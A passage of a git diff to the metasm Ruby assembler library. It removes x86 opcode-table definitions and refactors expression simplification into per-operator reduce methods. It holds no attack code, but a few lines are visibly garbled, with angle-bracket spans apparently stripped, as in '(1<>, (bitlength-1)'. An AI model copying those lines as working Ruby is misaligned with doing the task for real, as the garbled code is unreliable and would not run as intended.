:i8) { |o| o.props[:needpfx] = 0x66 } - addop('pcmpistri', [0x0F, 0x3A, 0x63], :mrmxmm, {}, :i8) { |o| o.props[:needpfx] = 0x66 } - addop('pcmpgtq', [0x0F, 0x38, 0x37], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('popcnt', [0x0F, 0xB8], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } - end - - - # - # CPU family dependencies - # - - def init_386_common - init_386_common_only - end - - def init_386 - init_386_common - init_386_only - end - - def init_387 - init_387_only - end - - def init_486 - init_386 - init_387 - init_486_only - end - - def init_pentium - init_486 - init_pentium_only - end - - def init_3dnow - init_pentium - init_3dnow_only - end - - def init_p6 - init_pentium - init_p6_only - end - - def init_sse - init_p6 - init_sse_only - end - - def init_sse2 - init_sse - init_sse2_only - end - - def init_sse3 - init_sse2 - init_sse3_only - end - - def init_vmx - init_sse3 - init_vmx_only - end - - def init_all - init_vmx - init_sse42_only - init_3dnow_only - end - - alias init_latest init_all - - - # - # addop_* macros - # - - def addop_macro1(name, num, immtype=:i) - addop name, [(num << 3) | 4], nil, {:w => [0, 0]}, :reg_eax, immtype - addop name, [num << 3], :mrmw, {:d => [0, 1]} - addop name, [0x80], num, {:w => [0, 0], :s => [0, 1]}, immtype - end - def addop_macro2(name, num) - addop name, [0x0F, 0xBA], (4 | num), {}, :u8 - addop(name, [0x0F, 0xA3 | (num << 3)], :mrm) { |op| op.args.reverse! } - end - def addop_macro3(name, num) - addop name, [0xD0], num, {:w => [0, 0]}, :imm_val1 - addop name, [0xD2], num, {:w => [0, 0]}, :reg_cl - addop name, [0xC0], num, {:w => [0, 0]}, :u8 - end - - def addop_macrotttn(name, bin, hint, fields = {}, *props, &blk) - [%w{o}, %w{no}, %w{b nae c}, %w{nb ae nc}, - %w{z e}, %w{nz ne}, %w{be na}, %w{nbe a}, - %w{s}, %w{ns}, %w{p pe}, %w{np po}, - %w{l nge}, %w{nl ge}, %w{le ng}, %w{nle g}].each_with_index { |e, i| - b = bin.dup - if b[0] == 0x0F - b[1] |= i - else - b[0] |= i - end - - e.each { |k| addop(name + k, b.dup, hint, fields.dup, *props, &blk) } - } - end - - def addop_macrostr(name, bin, type) - # addop(name, bin.dup, {:w => [0, 0]}) { |o| o.props[type] = true } # TODO allow segment override - addop(name+'b', bin) { |o| o.props[:opsz] = 16 ; o.props[type] = true } - addop(name+'b', bin) { |o| o.props[:opsz] = 32 ; o.props[type] = true } - bin = bin.dup - bin[0] |= 1 - addop(name+'w', bin) { |o| o.props[:opsz] = 16 ; o.props[type] = true } - addop(name+'d', bin) { |o| o.props[:opsz] = 32 ; o.props[type] = true } - end - - def addop_macrofpu1(name, n) - addop(name, [0xD8, n<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 32 } - addop(name, [0xDC, n<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 64 } - addop name, [0xD8, 0xC0|(n<<3)], :regfp, {:d => [0, 2]} - end - def addop_macrofpu2(name, n, n2=0) - addop(name, [0xDE|n2, n<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 16 } - addop(name, [0xDA|n2, n<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 32 } - end - def addop_macrofpu3(name, n) - addop_macrofpu2 name, n, 1 - addop(name, [0xDF, 0x28|(n<<3)], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 64 } - end - - def addop_macrogg(ggrng, name, bin, *args, &blk) - ggrng.each { |gg| - bindup = bin.dup - bindup[1] |= gg - sfx = %w(b w d q)[gg] - addop name+sfx, bindup, *args, &blk - } - end - - def addop_macrommx(ggrng, name, val) - addop_macrogg ggrng, name, [0x0F, 0xC0 | (val << 4)], :mrmmmx - addop_macrogg ggrng, name, [0x0F, 0x70, 0xC0 | (val << 4)], nil, {:regmmx => [2, 0]}, :u8 - end - - def addop_macrossps(name, bin, hint) - # don't allow fields argument, as this will be modified by addop (.dup it if needed) - addop name, bin, hint - addop(name.tr('p', 's'), bin, hint) { |o| o.props[:needpfx] = 0xF3 } - end - - # helper function: creates a new Opcode based on the arguments, eventually - # yields it for further customisation, and append it to the instruction set - # is responsible of the creation of disambiguating opcodes if necessary (:s flag hardcoding) - def addop(name, bin, hint=nil, fields={}, *argprops) - op = Opcode.new name, bin - op.fields.replace fields - - case hint - when nil - - when :mrm, :mrmw, :mrmA - h = (hint == :mrmA ? :modrmA : :modrm) - op.fields[:reg] = [bin.length, 3] - op.fields[h] = [bin.length, 0] - op.fields[:w] = [bin.length - 1, 0] if hint == :mrmw - argprops.unshift :reg, h - op.bin << 0 - when :reg - op.fields[:reg] = [bin.length-1, 0] - argprops.unshift :reg - when :regfp - op.fields[:regfp] = [bin.length-1, 0] - argprops.unshift :regfp, :regfp0 - when :modrmA - op.fields[:modrmA] = [bin.length-1, 0] - argprops << :modrmA - - when Integer # mod/m, reg == opcode extension = hint - op.fields[:modrm] = [bin.length, 0] - op.bin << (hint << 3) - argprops.unshift :modrm - - when :mrmmmx - op.fields[:regmmx] = [bin.length, 3] - op.fields[:modrm] = [bin.length, 0] - bin << 0 - argprops.unshift :regmmx, :modrmmmx - when :mrmxmm - op.fields[:regxmm] = [bin.length, 3] - op.fields[:modrm] = [bin.length, 0] - bin << 0 - argprops.unshift :regxmm, :modrmxmm - else - raise SyntaxError, "invalid hint #{hint.inspect} for #{name}" - end - - if argprops.index(:u) - argprops << :unsigned_imm - argprops[argprops.index(:u)] = :i - end - - (argprops & @valid_props).each { |p| op.props[p] = true } - argprops -= @valid_props - - op.args.concat(argprops & @valid_args) - argprops -= @valid_args - - raise "Invalid opcode definition: #{name}: unknown #{argprops.inspect}" unless argprops.empty? - - yield op if block_given? - - argprops = (op.props.keys - @valid_props) + (op.args - @valid_args) + (op.fields.keys - @fields_mask.keys) - raise "Invalid opcode customisation: #{name}: #{argprops.inspect}" unless argprops.empty? - - addop_post(op) - end - - # this recursive method is in charge of Opcode duplication (eg to hardcode some flag) - def addop_post(op) - dupe = lambda { |o| - dop = Opcode.new o.name.dup - dop.bin, dop.fields, dop.props, dop.args = o.bin.dup, o.fields.dup, o.props.dup, o.args.dup - dop - } - if df = op.fields.delete(:d) - # hardcode the bit - dop = dupe[op] - dop.args.reverse! - addop_post dop - - op.bin[df[0]] |= 1 << df[1] - addop_post op - - return - elsif wf = op.fields.delete(:w) - # hardcode the bit - dop = dupe[op] - dop.props[:argsz] = 8 - addop_post dop - - op.bin[wf[0]] |= 1 << wf[1] - addop_post op - - return - elsif sf = op.fields.delete(:s) - # add explicit choice versions, with lower precedence (so that disassembling will return the general version) - # eg "jmp", "jmp.i8", "jmp.i" - # also hardcode the bit - op32 = op - addop_post op32 - - op8 = dupe[op] - op8.bin[sf[0]] |= 1 << sf[1] - op8.args.map! { |arg| arg == :i ? :i8 : arg } - addop_post op8 - - op32 = dupe[op32] - op32.name << '.i' - addop_post op32 - - op8 = dupe[op8] - op8.name << '.i8' - addop_post op8 - - return - elsif op.args.first == :regfp0 - dop = dupe[op] - dop.args.delete :regfp0 - addop_post dop - end - - if op.props[:needpfx] and @opcode_list.find { |oo| oo.name == op.name and not oo.props[:needpfx] } - @opcode_list.unshift op - else - @opcode_list << op - end - - if op.args == [:i] or op.args == [:farptr] or op.name[0, 3] == 'ret' - # define opsz-override version for ambiguous opcodes - op16 = dupe[op] - op16.name << '.i16' - op16.props[:opsz] = 16 - @opcode_list << op16 - op32 = dupe[op] - op32.name << '.i32' - op32.props[:opsz] = 32 - @opcode_list << op32 - elsif op.props[:strop] or op.props[:stropz] or op.args.include? :mrm_imm or - op.args.include? :modrm or op.args.include? :modrmA or op.name =~ /loop|xlat/ - # define adsz-override version for ambiguous opcodes (TODO allow movsd edi / movsd di syntax) - # XXX loop pfx 67 = eip+cx, 66 = ip+ecx - op16 = dupe[op] - op16.name << '.a16' - op16.props[:adsz] = 16 - @opcode_list << op16 - op32 = dupe[op] - op32.name << '.a32' - op32.props[:adsz] = 32 - @opcode_list << op32 - end - end -end -end diff --git a/lib/metasm/metasm/main.rb b/lib/metasm/metasm/main.rb index a543f6f055..ae8541f59f 100644 --- a/lib/metasm/metasm/main.rb +++ b/lib/metasm/metasm/main.rb @@ -23,7 +23,7 @@ class CPU attr_accessor :valid_args, :valid_props, :fields_mask attr_accessor :endianness, :size attr_accessor :generate_PIC - + def opcode_list @opcode_list ||= init_opcode_list end @@ -32,8 +32,8 @@ class CPU def initialize @fields_mask = {} @fields_shift= {} - @valid_args = [] - @valid_props = [:setip, :saveip, :stopexec] + @valid_args = {} + @valid_props = { :setip => true, :saveip => true, :stopexec => true } @generate_PIC = true end @@ -81,6 +81,17 @@ class CPU def shortname self.class.name.sub(/.*::/, '').downcase end + + # some userinterface wants to hilight a word, return a regexp + # useful for register aliases + # the regexp will be enclosed in \b and should not contain captures + def gui_hilight_word_regexp(word) + Regexp.escape(word) + end + + # returns true if the name is invalid as a label name (eg register name) + def check_reserved_name(name) + end end # generic CPU, with no instructions, just size/endianness @@ -120,6 +131,15 @@ class Opcode def basename @name.sub(/\..*/, '') end + + def dup + o = Opcode.new(@name.dup, @bin) + o.bin = @bin.dup if @bin.kind_of?(::Array) + o.args = @args.dup + o.fields = @fields.dup + o.props = @props.dup + o + end end # defines an attribute self.backtrace (array of filename/lineno) @@ -341,7 +361,7 @@ class Expression < ExpressionType if not op raise ArgumentError, 'invalid Expression[nil]' if not l return l if l.kind_of? Expression - if l.kind_of? ::Numeric and l < 0 + if l.kind_of?(::Numeric) and l < 0 r = -l op = :'-' else @@ -354,9 +374,9 @@ class Expression < ExpressionType end l = nil else - l = self[*l] if l.kind_of? ::Array + l = self[*l] if l.kind_of?(::Array) end - r = self[*r] if r.kind_of? ::Array + r = self[*r] if r.kind_of?(::Array) new(op, r, l) end @@ -364,7 +384,7 @@ class Expression < ExpressionType # returns true if it is, false if it overflows, and nil if cannot be determined (eg unresolved variable) def self.in_range?(val, type) val = val.reduce if val.kind_of? self - return unless val.kind_of? ::Numeric + return unless val.kind_of?(::Numeric) if INT_MIN[type] val == val.to_i and @@ -374,8 +394,11 @@ class Expression < ExpressionType # casts an unsigned value to a two-complement signed if the sign bit is set def self.make_signed(val, bitlength) - if val.kind_of? Integer - val = val - (1 << bitlength) if val >> (bitlength - 1) == 1 + case val + when Integer + val = val - (1 << bitlength) if val > 0 and val >> (bitlength - 1) == 1 + when Expression + val = Expression[val, :-, [(1<>, (bitlength-1)], :==, 1]]] end val end @@ -390,8 +413,10 @@ class Expression < ExpressionType # basic constructor # XXX funny args order, you should use +Expression[]+ instead def initialize(op, rexpr, lexpr) - raise ArgumentError, "Expression: invalid arg order: #{[lexpr, op, rexpr].inspect}" if not op.kind_of? ::Symbol - @op, @lexpr, @rexpr = op, lexpr, rexpr + raise ArgumentError, "Expression: invalid arg order: #{[lexpr, op, rexpr].inspect}" if not op.kind_of?(::Symbol) + @op = op + @lexpr = lexpr + @rexpr = rexpr end # recursive check of equity using #== @@ -415,20 +440,21 @@ class Expression < ExpressionType return binding[self].dup end - l, r = @lexpr, @rexpr + l = @lexpr + r = @rexpr if l and binding[l] - raise "internal error - bound #{l.inspect}" if l.kind_of? ::Numeric + raise "internal error - bound #{l.inspect}" if l.kind_of?(::Numeric) l = binding[l] elsif l.kind_of? ExpressionType l = l.bind(binding) end if r and binding[r] - raise "internal error - bound #{r.inspect}" if r.kind_of? ::Numeric + raise "internal error - bound #{r.inspect}" if r.kind_of?(::Numeric) r = binding[r] elsif r.kind_of? ExpressionType r = r.bind(binding) end - Expression[l, @op, r] + Expression.new(@op, r, l) end # bind in place (replace self.lexpr/self.rexpr with the binding value) @@ -492,10 +518,13 @@ class Expression < ExpressionType end v = - if r.kind_of?(::Numeric) and (l == nil or l.kind_of?(::Numeric)) - # calculate numerics - if [:'&&', :'||', :'>', :'<', :'>=', :'<=', :'==', :'!='].include?(@op) - # bool expr + if r.kind_of?(::Numeric) and (not l or l.kind_of?(::Numeric)) + case @op + when :+; l ? l + r : r + when :-; l ? l - r : -r + when :'!'; raise 'internal error' if l ; (r == 0) ? 1 : 0 + when :'~'; raise 'internal error' if l ; ~r + when :'&&', :'||', :'>', :'<', :'>=', :'<=', :'==', :'!=' raise 'internal error' if not l case @op when :'&&'; (l != 0) && (r != 0) @@ -507,194 +536,18 @@ class Expression < ExpressionType when :'=='; l == r when :'!='; l != r end ? 1 : 0 - elsif not l - case @op - when :'!'; (r == 0) ? 1 : 0 - when :+; r - when :-; -r - when :~; ~r - end else - # use ruby evaluator l.send(@op, r) end - - elsif @op == :'&&' - if l == 0 # shortcircuit eval - 0 - elsif l == 1 - Expression[r, :'!=', 0].reduce_rec - elsif r == 0 - 0 # XXX l could be a special ExprType with sideeffects ? - end - elsif @op == :'||' - if l.kind_of? ::Numeric and l != 0 # shortcircuit eval - 1 - elsif l == 0 - Expression[r, :'!=', 0].reduce_rec - elsif r == 0 - Expression[l, :'!=', 0].reduce_rec - end - elsif @op == :>> or @op == :<< - if l == 0; 0 - elsif r == 0; l - elsif l.kind_of? Expression and l.op == @op - Expression[l.lexpr, @op, [l.rexpr, :+, r]].reduce_rec - # XXX (a >> 1) << 1 != a (lose low bit) - # XXX (a << 1) >> 1 != a (with real cpus, lose high bit) - # (a | b) << i - elsif r.kind_of? Integer and l.kind_of? Expression and [:&, :|, :^].include? l.op - Expression[[l.lexpr, @op, r], l.op, [l.rexpr, @op, r]].reduce_rec - end - elsif @op == :'!' - if r.kind_of? Expression and op = {:'==' => :'!=', :'!=' => :'==', :< => :>=, :> => :<=, :<= => :>, :>= => :<}[r.op] - Expression[r.lexpr, op, r.rexpr].reduce_rec - end - elsif @op == :== - if l == r; 1 - elsif r == 0 and l.kind_of? Expression and op = {:'==' => :'!=', :'!=' => :'==', :< => :>=, :> => :<=, :<= => :>, :>= => :<}[l.op] - Expression[l.lexpr, op, l.rexpr].reduce_rec - elsif r == 1 and l.kind_of? Expression and op = {:'==' => :'!=', :'!=' => :'==', :< => :>=, :> => :<=, :<= => :>, :>= => :<}[l.op] - l - elsif r == 0 and l.kind_of? Expression and l.op == :+ - if l.rexpr.kind_of? Expression and l.rexpr.op == :- and not l.rexpr.lexpr - Expression[l.lexpr, @op, l.rexpr.rexpr].reduce_rec - elsif l.rexpr.kind_of? ::Integer - Expression[l.lexpr, @op, -l.rexpr].reduce_rec - end - end - elsif @op == :'!=' - if l == r; 0 - end - elsif @op == :^ - if l == :unknown or r == :unknown; :unknown - elsif l == 0; r - elsif r == 0; l - elsif l == r; 0 - elsif r == 1 and l.kind_of? Expression and [:'==', :'!=', :<, :>, :<=, :>=].include? l.op - Expression[nil, :'!', l].reduce_rec - elsif l.kind_of?(::Numeric) - if r.kind_of? Expression and r.op == :^ - # 1^(x^y) => x^(y^1) - Expression[r.lexpr, :^, [r.rexpr, :^, l]].reduce_rec - else - # 1^a => a^1 - Expression[r, :^, l].reduce_rec - end - elsif l.kind_of? Expression and l.op == :^ - # (a^b)^c => a^(b^c) - Expression[l.lexpr, :^, [l.rexpr, :^, r]].reduce_rec - elsif r.kind_of? Expression and r.op == :^ - if r.rexpr == l - # a^(a^b) => b - r.lexpr - elsif r.lexpr == l - # a^(b^a) => b - r.rexpr - else - # a^(b^(c^(a^d))) => b^(a^(c^(a^d))) - # XXX ugly.. - tr = r - found = false - while not found and tr.kind_of?(Expression) and tr.op == :^ - found = true if tr.lexpr == l or tr.rexpr == l - tr = tr.rexpr - end - if found - Expression[r.lexpr, :^, [l, :^, r.rexpr]].reduce_rec - end - end - elsif l.kind_of?(Expression) and l.op == :& and l.rexpr.kind_of?(::Integer) and (l.rexpr & (l.rexpr+1)) == 0 - if r.kind_of?(::Integer) and r & l.rexpr == r - # (a&0xfff)^12 => (a^12)&0xfff - Expression[[l.lexpr, :^, r], :&, l.rexpr].reduce_rec - elsif r.kind_of?(Expression) and r.op == :& and r.rexpr.kind_of?(::Integer) and r.rexpr == l.rexpr - # (a&0xfff)^(b&0xfff) => (a^b)&0xfff - Expression[[l.lexpr, :^, r.lexpr], :&, l.rexpr].reduce_rec - end - end - elsif @op == :& - if l == 0 or r == 0; 0 - elsif r == 1 and l.kind_of?(Expression) and [:'==', :'!=', :<, :>, :<=, :>=].include?(l.op) - l - elsif l == r; l - elsif l.kind_of?(Integer); Expression[r, @op, l].reduce_rec - elsif l.kind_of?(Expression) and l.op == @op; Expression[l.lexpr, @op, [l.rexpr, @op, r]].reduce_rec - elsif l.kind_of?(Expression) and [:|, :^].include?(l.op) and r.kind_of?(Integer) and (l.op == :| or (r & (r+1)) != 0) - # (a ^| b) & i => (a&i ^| b&i) - Expression[[l.lexpr, :&, r], l.op, [l.rexpr, :&, r]].reduce_rec - elsif r.kind_of?(::Integer) and l.kind_of?(Expression) and (r & (r+1)) == 0 - # foo & 0xffff - reduce_rec_mod2(l, r) - end - elsif @op == :| - if l == 0; r - elsif r == 0; l - elsif l == -1 or r == -1; -1 - elsif l == r; l - elsif l.kind_of? Integer; Expression[r, @op, l].reduce_rec - elsif l.kind_of? Expression and l.op == @op; Expression[l.lexpr, @op, [l.rexpr, @op, r]].reduce_rec - end - elsif @op == :* - if l == 0 or r == 0; 0 - elsif l == 1; r - elsif r == 1; l - elsif r.kind_of? Integer; Expression[r, @op, l].reduce_rec - elsif r.kind_of? Expression and r.op == @op; Expression[[l, @op, r.lexpr], @op, r.rexpr].reduce_rec - elsif l.kind_of? Integer and r.kind_of? Expression and r.op == :* and r.lexpr.kind_of? Integer; Expression[l*r.lexpr, :*, r.rexpr].reduce_rec # XXX need & regsize.. - elsif l.kind_of? Integer and r.kind_of? Expression and r.op == :+ and r.rexpr.kind_of? Integer; Expression[[l, :*, r.lexpr], :+, l*r.rexpr].reduce_rec - end - elsif @op == :/ - if r == 0 - elsif r.kind_of? Integer and l.kind_of? Expression and l.op == :+ and l.rexpr.kind_of? Integer and l.rexpr % r == 0 - Expression[[l.lexpr, :/, r], :+, l.rexpr/r].reduce_rec - elsif r.kind_of? Integer and l.kind_of? Expression and l.op == :* and l.lexpr % r == 0 - Expression[l.lexpr/r, :*, l.rexpr].reduce_rec - end - elsif @op == :- - if l == :unknown or r == :unknown; :unknown - elsif not l and r.kind_of? Expression and (r.op == :- or r.op == :+) - if r.op == :- # no lexpr (reduced) - # -(-x) => x - r.rexpr - else # :+ and lexpr (r is reduced) - # -(a+b) => (-a)+(-b) - Expression[[:-, r.lexpr], :+, [:-, r.rexpr]].reduce_rec - end - elsif l.kind_of? Expression and l.op == :+ and l.lexpr == r - # shortcircuit for a common occurence [citation needed] - # (a+b)-a - l.rexpr - elsif l - # a-b => a+(-b) - Expression[l, :+, [:-, r]].reduce_rec - end - elsif @op == :+ - if l == :unknown or r == :unknown; :unknown - elsif not l; r # +x => x - elsif r == 0; l # x+0 => x - elsif l.kind_of?(::Numeric) - if r.kind_of? Expression and r.op == :+ - # 1+(x+y) => x+(y+1) - Expression[r.lexpr, :+, [r.rexpr, :+, l]].reduce_rec - else - # 1+a => a+1 - Expression[r, :+, l].reduce_rec - end - # (a+b)+foo => a+(b+foo) - elsif l.kind_of? Expression and l.op == @op; Expression[l.lexpr, @op, [l.rexpr, @op, r]].reduce_rec - elsif l.kind_of? Expression and r.kind_of? Expression and l.op == :% and r.op == :% and l.rexpr.kind_of?(::Integer) and l.rexpr == r.rexpr - Expression[[l.lexpr, :+, r.lexpr], :%, l.rexpr].reduce_rec - else - reduce_rec_add(l, r) - end + elsif rp = @@reduce_op[@op] + rp[self, l, r] end ret = case v when nil # no dup if no new value (r == :unknown or l == :unknown) ? :unknown : - ((r == @rexpr and l == @lexpr) ? self : Expression[l, @op, r]) + ((r == @rexpr and l == @lexpr) ? self : Expression.new(@op, r, l)) when Expression (v.lexpr == :unknown or v.rexpr == :unknown) ? :unknown : v else v @@ -709,54 +562,248 @@ class Expression < ExpressionType ret end + @@reduce_op = { + :+ => lambda { |e, l, r| e.reduce_op_plus(l, r) }, + :- => lambda { |e, l, r| e.reduce_op_minus(l, r) }, + :'&&' => lambda { |e, l, r| e.reduce_op_andand(l, r) }, + :'||' => lambda { |e, l, r| e.reduce_op_oror(l, r) }, + :>> => lambda { |e, l, r| e.reduce_op_shr(l, r) }, + :<< => lambda { |e, l, r| e.reduce_op_shl(l, r) }, + :'!' => lambda { |e, l, r| e.reduce_op_not(l, r) }, + :== => lambda { |e, l, r| e.reduce_op_eql(l, r) }, + :'!=' => lambda { |e, l, r| e.reduce_op_neq(l, r) }, + :^ => lambda { |e, l, r| e.reduce_op_xor(l, r) }, + :& => lambda { |e, l, r| e.reduce_op_and(l, r) }, + :| => lambda { |e, l, r| e.reduce_op_or(l, r) }, + :* => lambda { |e, l, r| e.reduce_op_times(l, r) }, + :/ => lambda { |e, l, r| e.reduce_op_div(l, r) }, + :% => lambda { |e, l, r| e.reduce_op_mod(l, r) }, + } - # a+(b+(c+(-a))) => b+c+0 - # a+((-a)+(b+c)) => 0+b+c - def reduce_rec_add(l, r) - if l.kind_of? Expression and l.op == :- and not l.lexpr - neg_l = l.rexpr - else - neg_l = Expression[:-, l] - end - # recursive search & replace -lexpr by 0 - simplifier = lambda { |cur| - if neg_l == cur - # -l found - 0 - elsif cur.kind_of? Expression and cur.op == :+ - # recurse - if newl = simplifier[cur.lexpr] - Expression[newl, cur.op, cur.rexpr].reduce_rec - elsif newr = simplifier[cur.rexpr] - Expression[cur.lexpr, cur.op, newr].reduce_rec - end - end - } + def self.reduce_op + @@reduce_op + end - simplifier[r] - end - - # expr & 0xffff - def reduce_rec_mod2(e, mask) - case e.op - when :+, :^ - if e.lexpr.kind_of?(Expression) and e.lexpr.op == :& and - e.lexpr.rexpr.kind_of?(::Integer) and e.lexpr.rexpr & mask == mask - # ((a&m) + b) & m => (a+b) & m - Expression[[e.lexpr.lexpr, e.op, e.rexpr], :&, mask].reduce_rec - elsif e.rexpr.kind_of?(Expression) and e.rexpr.op == :& and - e.rexpr.rexpr.kind_of?(::Integer) and e.rexpr.rexpr & mask == mask - # (a + (b&m)) & m => (a+b) & m - Expression[[e.lexpr, e.op, e.rexpr.lexpr], :&, mask].reduce_rec + def reduce_op_plus(l, r) + if not l; r # +x => x + elsif r == 0; l # x+0 => x + elsif l == :unknown or r == :unknown; :unknown + elsif l.kind_of?(::Numeric) + if r.kind_of? Expression and r.op == :+ + # 1+(x+y) => x+(y+1) + Expression[r.lexpr, :+, [r.rexpr, :+, l]].reduce_rec else - Expression[e, :&, mask] + # 1+a => a+1 + Expression[r, :+, l].reduce_rec end - when :| - # rol/ror composition - reduce_rec_composerol e, mask + # (a+b)+foo => a+(b+foo) + elsif l.kind_of? Expression and l.op == :+; Expression[l.lexpr, :+, [l.rexpr, :+, r]].reduce_rec + elsif l.kind_of? Expression and r.kind_of? Expression and l.op == :% and r.op == :% and l.rexpr.kind_of?(::Integer) and l.rexpr == r.rexpr + Expression[[l.lexpr, :+, r.lexpr], :%, l.rexpr].reduce_rec + elsif l.kind_of? Expression and l.op == :- and not l.lexpr + reduce_rec_add_rec(r, l.rexpr) + elsif l.kind_of? Expression and r.kind_of? Expression and l.op == :& and r.op == :& and l.rexpr.kind_of?(::Integer) and r.rexpr.kind_of?(::Integer) and l.rexpr & r.rexpr == 0 + # (a&0xf0)+(b&0x0f) => (a&0xf0)|(b&0x0f) + Expression[l, :|, r].reduce_rec else - Expression[e, :&, mask] + reduce_rec_add_rec(r, Expression.new(:-, l, nil)) + end + end + + def reduce_rec_add_rec(cur, neg_l) + if neg_l == cur + # -l found + 0 + elsif cur.kind_of?(Expression) and cur.op == :+ + # recurse + if newl = reduce_rec_add_rec(cur.lexpr, neg_l) + Expression[newl, cur.op, cur.rexpr].reduce_rec + elsif newr = reduce_rec_add_rec(cur.rexpr, neg_l) + Expression[cur.lexpr, cur.op, newr].reduce_rec + end + end + end + + def reduce_op_minus(l, r) + if l == :unknown or r == :unknown; :unknown + elsif not l and r.kind_of? Expression and (r.op == :- or r.op == :+) + if r.op == :- # no lexpr (reduced) + # -(-x) => x + r.rexpr + else # :+ and lexpr (r is reduced) + # -(a+b) => (-a)+(-b) + Expression.new(:+, Expression.new(:-, r.rexpr, nil), Expression.new(:-, r.lexpr, nil)).reduce_rec + end + elsif l.kind_of? Expression and l.op == :+ and l.lexpr == r + # shortcircuit for a common occurence [citation needed] + # (a+b)-a + l.rexpr + elsif l + # a-b => a+(-b) + Expression[l, :+, [:-, r]].reduce_rec + end + end + + def reduce_op_andand(l, r) + if l == 0 # shortcircuit eval + 0 + elsif l == 1 + Expression[r, :'!=', 0].reduce_rec + elsif r == 0 + 0 # XXX l could be a special ExprType with sideeffects ? + end + end + + def reduce_op_oror(l, r) + if l.kind_of?(::Numeric) and l != 0 # shortcircuit eval + 1 + elsif l == 0 + Expression[r, :'!=', 0].reduce_rec + elsif r == 0 + Expression[l, :'!=', 0].reduce_rec + end + end + + def reduce_op_shr(l, r) + if l == 0; 0 + elsif r == 0; l + elsif l.kind_of? Expression and l.op == :>> + Expression[l.lexpr, :>>, [l.rexpr, :+, r]].reduce_rec + elsif r.kind_of? Integer and l.kind_of? Expression and [:&, :|, :^].include? l.op + # (a | b) << i => (a<>, r], l.op, [l.rexpr, :>>, r]].reduce_rec + end + end + + def reduce_op_shl(l, r) + if l == 0; 0 + elsif r == 0; l + elsif l.kind_of? Expression and l.op == :<< + Expression[l.lexpr, :<<, [l.rexpr, :+, r]].reduce_rec + elsif l.kind_of? Expression and l.op == :>> and r.kind_of? Integer and l.rexpr.kind_of? Integer + # (a >> 1) << 1 == a & 0xfffffe + if r == l.rexpr + Expression[l.lexpr, :&, (-1 << r)].reduce_rec + elsif r > l.rexpr + Expression[[l.lexpr, :<<, r-l.rexpr], :&, (-1 << r)].reduce_rec + else + Expression[[l.lexpr, :>>, l.rexpr-r], :&, (-1 << r)].reduce_rec + end + elsif r.kind_of? Integer and l.kind_of? Expression and [:&, :|, :^].include? l.op + # (a | b) << i => (a< :'!=', :'!=' => :'==', :< => :>=, :> => :<=, :<= => :>, :>= => :<} + + def reduce_op_not(l, r) + if r.kind_of? Expression and nop = NEG_OP[r.op] + Expression[r.lexpr, nop, r.rexpr].reduce_rec + end + end + + def reduce_op_eql(l, r) + if l == r; 1 + elsif r == 0 and l.kind_of? Expression and nop = NEG_OP[l.op] + Expression[l.lexpr, nop, l.rexpr].reduce_rec + elsif r == 1 and l.kind_of? Expression and NEG_OP[l.op] + l + elsif r == 0 and l.kind_of? Expression and l.op == :+ + if l.rexpr.kind_of? Expression and l.rexpr.op == :- and not l.rexpr.lexpr + Expression[l.lexpr, :==, l.rexpr.rexpr].reduce_rec + elsif l.rexpr.kind_of?(::Integer) + Expression[l.lexpr, :==, -l.rexpr].reduce_rec + end + end + end + + def reduce_op_neq(l, r) + if l == r; 0 + end + end + + def reduce_op_xor(l, r) + if l == :unknown or r == :unknown; :unknown + elsif l == 0; r + elsif r == 0; l + elsif l == r; 0 + elsif r == 1 and l.kind_of? Expression and NEG_OP[l.op] + Expression[nil, :'!', l].reduce_rec + elsif l.kind_of?(::Numeric) + if r.kind_of? Expression and r.op == :^ + # 1^(x^y) => x^(y^1) + Expression[r.lexpr, :^, [r.rexpr, :^, l]].reduce_rec + else + # 1^a => a^1 + Expression[r, :^, l].reduce_rec + end + elsif l.kind_of? Expression and l.op == :^ + # (a^b)^c => a^(b^c) + Expression[l.lexpr, :^, [l.rexpr, :^, r]].reduce_rec + elsif r.kind_of? Expression and r.op == :^ + if r.rexpr == l + # a^(a^b) => b + r.lexpr + elsif r.lexpr == l + # a^(b^a) => b + r.rexpr + else + # a^(b^(c^(a^d))) => b^(a^(c^(a^d))) + # XXX ugly.. + tr = r + found = false + while not found and tr.kind_of?(Expression) and tr.op == :^ + found = true if tr.lexpr == l or tr.rexpr == l + tr = tr.rexpr + end + if found + Expression[r.lexpr, :^, [l, :^, r.rexpr]].reduce_rec + end + end + elsif l.kind_of?(Expression) and l.op == :& and l.rexpr.kind_of?(::Integer) and (l.rexpr & (l.rexpr+1)) == 0 + if r.kind_of?(::Integer) and r & l.rexpr == r + # (a&0xfff)^12 => (a^12)&0xfff + Expression[[l.lexpr, :^, r], :&, l.rexpr].reduce_rec + elsif r.kind_of?(Expression) and r.op == :& and r.rexpr.kind_of?(::Integer) and r.rexpr == l.rexpr + # (a&0xfff)^(b&0xfff) => (a^b)&0xfff + Expression[[l.lexpr, :^, r.lexpr], :&, l.rexpr].reduce_rec + end + end + end + + def reduce_op_and(l, r) + if l == 0 or r == 0; 0 + elsif r == 1 and l.kind_of?(Expression) and [:'==', :'!=', :<, :>, :<=, :>=].include?(l.op) + l + elsif l == r; l + elsif l.kind_of?(Integer); Expression[r, :&, l].reduce_rec + elsif l.kind_of?(Expression) and l.op == :&; Expression[l.lexpr, :&, [l.rexpr, :&, r]].reduce_rec + elsif l.kind_of?(Expression) and [:|, :^].include?(l.op) and r.kind_of?(Integer) and (l.op == :| or (r & (r+1)) != 0) + # (a ^| b) & i => (a&i ^| b&i) + Expression[[l.lexpr, :&, r], l.op, [l.rexpr, :&, r]].reduce_rec + elsif r.kind_of?(::Integer) and l.kind_of?(Expression) and (r & (r+1)) == 0 + # foo & 0xffff + case l.op + when :+, :^ + if l.lexpr.kind_of?(Expression) and l.lexpr.op == :& and + l.lexpr.rexpr.kind_of?(::Integer) and l.lexpr.rexpr & r == r + # ((a&m) + b) & m => (a+b) & m + Expression[[l.lexpr.lexpr, l.op, l.rexpr], :&, r].reduce_rec + elsif l.rexpr.kind_of?(Expression) and l.rexpr.op == :& and + l.rexpr.rexpr.kind_of?(::Integer) and l.rexpr.rexpr & r == r + # (a + (b&m)) & m => (a+b) & m + Expression[[l.lexpr, l.op, l.rexpr.lexpr], :&, 